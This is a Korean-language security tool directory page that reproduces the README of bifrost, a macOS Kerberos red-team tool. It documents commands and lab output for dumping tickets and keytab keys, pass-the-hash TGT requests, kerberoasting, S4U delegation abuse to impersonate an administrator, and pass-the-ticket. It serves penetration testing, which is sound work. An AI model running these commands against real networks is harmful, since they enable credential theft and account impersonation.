Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
bifrost — macOS Kerberos의 Heimdal API와 상호작용하기 위한 Objective-C 라이브러리 및 콘솔 | Kitploit
도구/GitHubGitHub/its-a-feature/bifrost
Password AttacksExploitationPenetration TestingAuthenticationRed Teaming
GitHubits-a-feature/bifrost

bifrost

macOS Kerberos의 Heimdal API와 상호작용하기 위한 Objective-C 라이브러리 및 콘솔

저장소 보기
158193년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Bifrost```


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (__/'()() () \___/'(____/_)

root@kitploit:~

Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal

root@kitploit:~
# 목차
- [개요](#overview)
- 명령어
    - [list](#list)
    - [dump](#dump)  
        - [티켓](#tickets)  
        - [keytab](#keytab)  
    - [askhash](#askhash)  
    - [asktgt](#asktgt)
        - [평문 비밀번호 사용](#with-plaintext-password)    
        - [해시 사용](#with-hash)
        - [keytab 항목 사용](#with-keytab-entry)
    - [describe](#describe)
    - [asktgs](#asktgs)
        - [다른 도메인](#different-domains)
        - [kerberoasting](#kerberoasting)
    - [s4u](#s4u)
    - [ptt](#ptt)
    - [remove](#remove)
        - [자격 증명 캐시](#credential-cache)
        - [keytab 항목](#keytab-entry)

## 개요
Bifrost는 macOS에서 Heimdal krb5 API와 상호작용하도록 설계된 Objective-C 프로젝트입니다. Bifrost는 정적 라이브러리로 컴파일되지만(필요한 경우 dylib로 변경할 수 있음), bifrostconsole은 Bifrost 라이브러리를 사용하는 간단한 콘솔 프로젝트입니다. 이 프로젝트의 목표는 대상에 다른 프레임워크나 패키지를 요구하지 않고 네이티브 API를 사용하여 macOS 기기에서 Kerberos 관련 보안 테스트를 더 잘 수행할 수 있게 하는 것입니다.

이것은 Mac에서 컴파일되어야 하며, 테스트 목적이라 해도 모든 사람이 쉽게 사용할 수 있는 환경이 아닐 수 있기 때문에 "compiled_binaries" 폴더에 콘솔과 라이브러리의 컴파일된 버전을 포함해 두었습니다. 사전 컴파일된 것이므로 서명이 많이 적용되어 있어 개인 테스트 목적으로만 사용할 수 있을 것입니다.
## list
`-action list` 명령은 메모리의 모든 자격 증명 캐시를 반복하면서 각 캐시와 그 안의 각 항목에 대한 기본 정보를 제공합니다. 또한 기본 캐시는 `[*]` 표시로, 그 외 각 캐시는 `[+]` 표시로 식별합니다.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
    Issued             Expires                Principal                    Flags
2019-11-13 18:00:20PST    2019-11-14 04:00:20PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST    2019-12-13 18:00:21PST    krb5_ccache_conf_data/kcm-status@X-CACHECONF:    ()

dump

The -action dump command can extract information about keytabs or credential caches based on the flags.

tickets

To dump tickets specifically, use -source tickets. By default, this will only iterate through the default credential cache. The default credential cache can be identified with the -action list command and looking for the cache identified with a [*] marker. To dump a specific credential cache, use the -name [name here] flag.

Each ticket will be described and dumped into a base64 Kirbi format that can then be used for other commands or with other tools on Windows.``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=

Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA

root@kitploit:~
### keytab
keytab 키를 덤프하려면 `-source keytab` 매개변수를 사용합니다. 기본적으로 루트만 읽을 수 있는 기본 keytab(`/etc/krb5.keytab`)에서 정보를 덤프하려고 시도합니다. 다른 keytab을 지정하려면 `-path /path/to/keytab` 인수를 사용합니다.

각 keytab 항목이 설명되고 키는 base64와 hex로 덤프됩니다.```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
    Entry version: 3
    Key enctype: aes256
    Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
    Timestamp: 2019-11-10 04:58:09 GMT
root@kitploit:~
bash-3.2$ sudo ./bifrost -action dump -source keytab
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving default keytab path
[+] Successfully opened keytab
[+] principal: afpserver/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
    Entry version: 2
    Key enctype: aes256
    Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
    Timestamp: 2018-10-27 03:26:13 GMT
[+] principal: cifs/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
    Entry version: 2
    Key enctype: aes256
    Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
    Timestamp: 2018-10-27 03:26:13 GMT
    <...snip...>
[+] principal: [email protected]
    Entry version: 2
    Key enctype: rc4
    Key: A12AD40BD124E6A9A14D65504E8EA30A
    Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
    Entry version: 2
    Key enctype: aes256
    Key: C1BF6861A00B35A97483E820863FAD4ED57831D935DBFE2D501727C678503F73
    Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
    Entry version: 2
    Key enctype: aes128
    Key: 1F44A5E5C7919C00F3166A1344D4FFDA

askhash

-action askhash는 TGT를 요청하고 응답을 해독하는 데 필요한 해시를 계산합니다. 이 명령은 -password [password here]와 함께 평문 비밀번호를 요구합니다. 하지만 비밀번호에 문제를 일으킬 수 있는 특수 문자가 포함된 경우, -bpassword [base64 password here]를 사용하여 비밀번호의 base64 인코딩 버전을 제공할 수 있습니다. 또한 올바른 salt를 생성하려면 -username [username] 및 -domain fqdn 매개변수를 제공해야 합니다.

컴퓨터$ 계정의 해시를 가져오려면 사용자 이름에 $를 포함해야 합니다. 컴퓨터 계정의 salt는 사용자 계정의 salt와 다릅니다.``` spooky:~ lab_admin$ ./bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Username: lab_admin Password: abc123!!! Domain: LAB.LOCAL Salt: LAB.LOCALlab_admin

Keys: AES128: CFE28C26EAF8DE4A0A2AE0CC69E6EB6B AES256: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 RC4 : 8C1A1B4466CB7F145CAB016435B893EF

root@kitploit:~
## asktgt
`-action asktgt` 명령은 평문 비밀번호, 해시 또는 keytab 항목을 사용하여 DC에서 TGT를 요청합니다.  
### 평문 비밀번호 사용
평문 비밀번호를 사용하려면 `-password [password]` 외에도 `-username [username]` 및 `-domain [fqdn]`을 함께 제공해야 합니다. 비밀번호에 문제를 일으킬 수 있는 특수 문자가 포함된 경우, 대신 `-bpassword [base64 of password]`를 제공하세요. 이렇게 하면 Kerberos Login API를 사용해 일반적인 방식으로 TGT를 요청하고 새 자격 증명 캐시에 저장합니다. 그런 다음 Bifrost가 해당 캐시에서 티켓을 추출하고 캐시를 제거합니다.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Requesting principal: [email protected]
[*] Requesting password: abc123!!!
[*] Creating TGT Request for [email protected]
[*] Requesting TGT into temporary CCache
[+] Successfully got TGT into new CCache: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[*] Dumping ticket from new CCache and removing entry

Client: [email protected]
Principal: krbtgt/[email protected]
Key enctype: aes256
Key: lFfEz+OGE0IrlRiNbqN3KbkH1cC0Sb28eVJ8V2yp3EM= (9457C4CFE38613422B95188D6EA37729B907D5C0B449BDBC79527C576CA9DC43)
Expires: 2019-11-14 12:28:25 GMT
Flags: forwardable initial pre-auth 
Kirbi:
doIFDTCCBQm<...snip...>TA==

[+] Removed CCache entry: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[+] Successfully obtained Kerberos ticket for principal lab_admin.

해시 사용

해시를 사용하려면 -hash [hash here] 및 -enctype [aes256|aes128|rc4|des3] 외에도 -username [username]과 -domain [fqdn]을 지정해야 합니다. 이 매개변수만으로 Bifrost는 수동 ASN1 Kerberos 트래픽을 구성하고 포트 88의 [fqdn]에 연결하여 AES256 TGT를 요청합니다(구체적으로 aes256, aes128, rc4를 유효한 반환 암호화 유형으로 나열). 물론 이는 수정할 수 있습니다. -supportAll false 플래그를 지정하면 지원되는 유일한 암호화 응답 유형이 해시와 동일해지도록 트래픽이 조정됩니다. 또는 제공된 해시 유형과 관계없이 특정 암호화 유형의 TGT를 요청하도록 -tgtEnctype [aes256|aes128|rc4]를 지정할 수 있습니다.``` spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 -tgtEnctype rc4


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[] Requesting hash type: 23 [] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [+] Successfully sent ASREQ [+] Successfully received ASREP [] Describing ticket Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:33:11 GMT End: 2019-11-14 12:33:11 GMT Renew: 2019-11-21 02:33:11 GMT Key Type: ARCFOUR_HMAC Key Value: P7EYn0Y5BFcE7o0gONzEhQ== (3FB1189F4639045704EE8D2038DCC485) Flags: forwardable renewable initial pre-auth [] Creating Kirbi: doIFADCCBPygBgI<...snip...>FCLkxPQ0FM

root@kitploit:~
### keytab 항목 사용
keytab을 사용하려면 `-enctype [aes256|aes128|rc4]` 및 `-keytab [path to keytab]` 외에도 `-username [username]` 및 `-domain [fqdn]`을 제공해야 합니다. 그러면 Bifrost는 keytab을 열고 제공된 사용자 이름, 도메인 및 암호화 유형과 일치하는 항목을 검색하여 해당 해시를 추출합니다. 이러한 매개변수만으로 Bifrost는 수동 ASN1 Kerberos 트래픽을 구성하고 포트 88에서 `[fqdn]`에 연결하여 AES256 TGT를 요청합니다(구체적으로 유효한 반환 암호화 유형으로 aes256, aes128, rc4를 나열). 물론 이는 수정할 수 있습니다. `-supportAll false` 플래그를 지정하면 지원되는 유일한 암호화 응답 유형이 해시와 동일하도록 트래픽이 조정됩니다. 또는 `-tgtEnctype [aes256|aes128|rc4]`를 지정하여 제공된 해시 유형과 관계없이 특정 암호화 유형의 TGT를 요청할 수 있습니다.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving keytab path: test
[+] Successfully opened keytab
[*] Searching for principal: [email protected]
[*] Found match, retrieving key
[+] Using hash: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent ASREQ
[+] Successfully received ASREP
[*] Describing ticket
Client: [email protected]
Principal: krbtgt/[email protected]
Start: 2019-11-14 02:35:16 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3)
Flags: forwardable renewable initial pre-auth 
[*] Creating Kirbi:
doIFIDCCBR<...snip...>DQUw=

describe

-action describe 명령은 Kirbi 파일의 정보를 파싱합니다. -ticket [base64 of Kirbi ticket]을(를) 제공해야 합니다.``` spooky:~ lab_admin$ ./bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:35:16 GMT End: 2019-11-14 12:35:16 GMT Renew: 2019-11-21 02:35:16 GMT Key Type: AES256_CTS_HMAC_SHA1_96 Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3) Flags: forwardable renewable initial pre-auth

root@kitploit:~
## asktgs
`-action asktgs` 명령은 제공된 TGT를 기반으로 KDC에 서비스 티켓을 요청합니다. `-ticket [base64 of kirbi TGT]` 및 `-service [spn,spn,spn]`을(를) 제공해야 합니다.```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= -service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to cifs/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]
Principal: cifs/[email protected]
Start: 2019-11-14 02:43:39 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: ARCFOUR_HMAC
Key Value: 06IYcTPmajAEvXCjTim9lA== (D3A2187133E66A3004BD70A34E29BD94)
Flags: forwardable renewable pre-auth 
[*] Creating Kirbi:
doIFEDCCBQ<...snip...>A==
[+] Successfully got service ticket
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to host/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: host/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]
Principal: host/[email protected]
Start: 2019-11-14 02:43:39 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: JGWDGXrjkzMD5Tr4dv+b6a5fR97IY8ycwoz1bHsywJw= (246583197AE3933303E53AF876FF9BE9AE5F47DEC863CC9CC28CF56C7B32C09C)
Flags: forwardable renewable pre-auth ok-as-delegate 
[*] Creating Kirbi:
doIFL<...snip...>w=
[+] Successfully got service ticket

different domains

기본적으로 Bifrost는 연결할 도메인과 서비스 도메인에 대한 정보를 TGT에서 찾습니다. 이 두 가지 중 하나라도 TGT와 다르면 -connectDomain [domain to connect to] 및 -serviceDomain [domain of the service]를 사용하여 수동으로 지정할 수 있습니다. 기본적으로 Bifrost는 결과 서비스에 aes256, aes128, rc4 암호화 유형이 허용되도록 지정합니다(따라서 대부분 aes256 서비스 티켓을 받게 됩니다).

kerberoasting

aes256 서비스 티켓을 받고 싶지 않고 더 크랙하기 쉬운 것을 원한다면 -kerberoast true 플래그를 지정하여 결과 서비스 티켓이 rc4가 되도록 할 수 있습니다.``` spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [] Requesting service ticket to host/dc1-lab.lab.local as lab_admin [+] Successfully sent TGSREQ [+] Successfully received TGSREP [+] Parsing TGS-REP Client Domain: LAB.LOCAL Requesting account: lab_admin Requested Service: host/dc1-lab.lab.local Ticket Encryption: 23 [] Describing ticket Client: [email protected] Principal: host/dc1-[email protected] Start: 2019-11-14 02:49:01 GMT End: 2019-11-14 12:46:50 GMT Renew: 2019-11-21 02:46:50 GMT Key Type: ARCFOUR_HMAC Key Value: j3VcAqIgsLI38a4aqi0jOw== (8F755C02A220B0B237F1AE1AAA2D233B) Flags: forwardable renewable pre-auth ok-as-delegate [] Creating Kirbi: doIFE<...snip...>A== [+] Successfully got service ticket

root@kitploit:~
## s4u
`-action s4u` 명령은 리소스 기반 제한 위임(resource-based constrained delegation)을 활용합니다. `-ticket [TGT의 base64]`, `-targetUser [username]`을 지정해야 합니다(사용자가 TGT 대상 도메인이 아닌 다른 도메인에 있는 경우 대상 사용자를 `[email protected]`으로 지정). 이 시점에서 Bifrost는 S4U2Self 프로세스만 수행합니다. 프로세스를 완료하고 S4U2Proxy도 수행하려면 추가로 `-spn [target spn]`을 지정하세요. TGT에 지정된 도메인과 다른 도메인에 연결해야 하는 경우 `-connectDomain [fqdn]`을 지정할 수 있습니다. 이 시퀀스는 88번 포트를 통해 수동 ASN1 Kerberos 트래픽을 다시 생성합니다.```
*** Using the TGT of the "alice" account, which has an SPN set (HTTP/spooky.lab.local) and has the userAccountControl flag for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set to true (0x1000000) and has msDS-AllowedToDelegateTo set to the SPN of cifs/dc1-lab.lab.local ***

spooky:~ lab_admin$ ./bifrost -action s4u -targetUser lab_admin -spn cifs/dc1-lab.lab.local -ticket doIF<...snip...>QUw=
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to alice as lab_admin
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: alice
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: [email protected]
Start: 2019-11-14 04:17:45 GMT
End:   2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: ARCFOUR_HMAC
Key Value: MV4AR2rIg23e8uj0LmuP4w== (315E00476AC8836DDEF2E8F42E6B8FE3)
Flags: forwardable renewable pre-auth 
[*] Creating Kirbi:
doIFQD<...snip...>ZQ==
[*] Impersonating [email protected] to service cifs/[email protected] via S4U2Proxy
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: cifs/[email protected]
Start: 2019-11-14 04:17:45 GMT
End:   2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: qvO9Rh88ju+LlobxDwdS9fAy9MjqVg/FOfS/RCxVOlo= (AAF3BD461F3C8EEF8B9686F10F0752F5F032F4C8EA560FC539F4BF442C553A5A)
Flags: forwardable renewable pre-auth ok-as-delegate 
[*] Creating Kirbi:
doIG<...snip...>9jYWw=

이제 최종 Kirbi 티켓을 사용하여 전체 과정에 사용된 TGT가 LAB\alice의 것이었음에도 불구하고 lab_admin으로 cifs/dc1-lab.lab.local에 액세스할 수 있습니다.

ptt

-action ptt 명령은 티켓(TGT 또는 서비스 티켓)을 받아 지정된 자격 증명 캐시에 가져오거나 새 자격 증명 캐시를 생성합니다. -ticket [base64 of ticket]을 지정하고, 티켓을 지정된 캐시에 추가하려면 -name [full credential cache name]을, 또는 새 자격 증명 캐시를 생성하여 티켓을 그곳에 가져오려면 -name new를 지정해야 합니다.``` spooky:~ lab_admin$ ./bifrost -action list


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

spooky:~ lab_admin$ ./bifrost -action ptt -cache new -ticket doI<...snip...>QUw=


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[+] Successfully parsed Kirbi data [] Converting ticket to ccache cred [+] Successfully converted ticket to ccache cred [] Creating new ccache [*] Saving credential for krbtgt/LAB.LOCAL [+] Successfully imported credential spooky:~ lab_admin$ ./bifrost -action list


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[*] Principal: [email protected] Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F Issued Expires Principal Flags 2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/LAB.[email protected] (forwardable renewable initial pre-auth )

root@kitploit:~
## remove
`-action remove` 명령은 캐시 또는 keytab 항목을 제거합니다.
### credential cache
자격 증명 캐시를 제거하려면 `-source tickets` 및 `-name [cache name  here]`을(를) 지정해야 합니다. 이렇게 하면 전체 캐시가 제거됩니다. 내가 알기로 krb5 Heimdal API를 사용하면 특정 자격 증명 항목을 제거할 수 없습니다 - MITKerberosShim은 필요한 함수가 구현되지 않았다고 보고합니다.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
    Issued             Expires                Principal                    Flags
2019-11-13 18:58:06PST    2019-11-14 04:58:06PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
spooky:~ lab_admin$ ./bifrost -action remove -source tickets -name API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving CCache name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
[+] Successfully resolved CCache name
[+] Successfully removed CCache
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

spooky:~ lab_admin$ 

keytab 항목

keytab에서 principal을 제거하려면 -source keytab 및 -principal [principal name]을 지정해야 합니다. 기본적으로 기본 keytab에서 principal을 찾지만, 특정 keytab을 사용하려면 -name [path to keytab]으로 지정하십시오.

도구 다운로드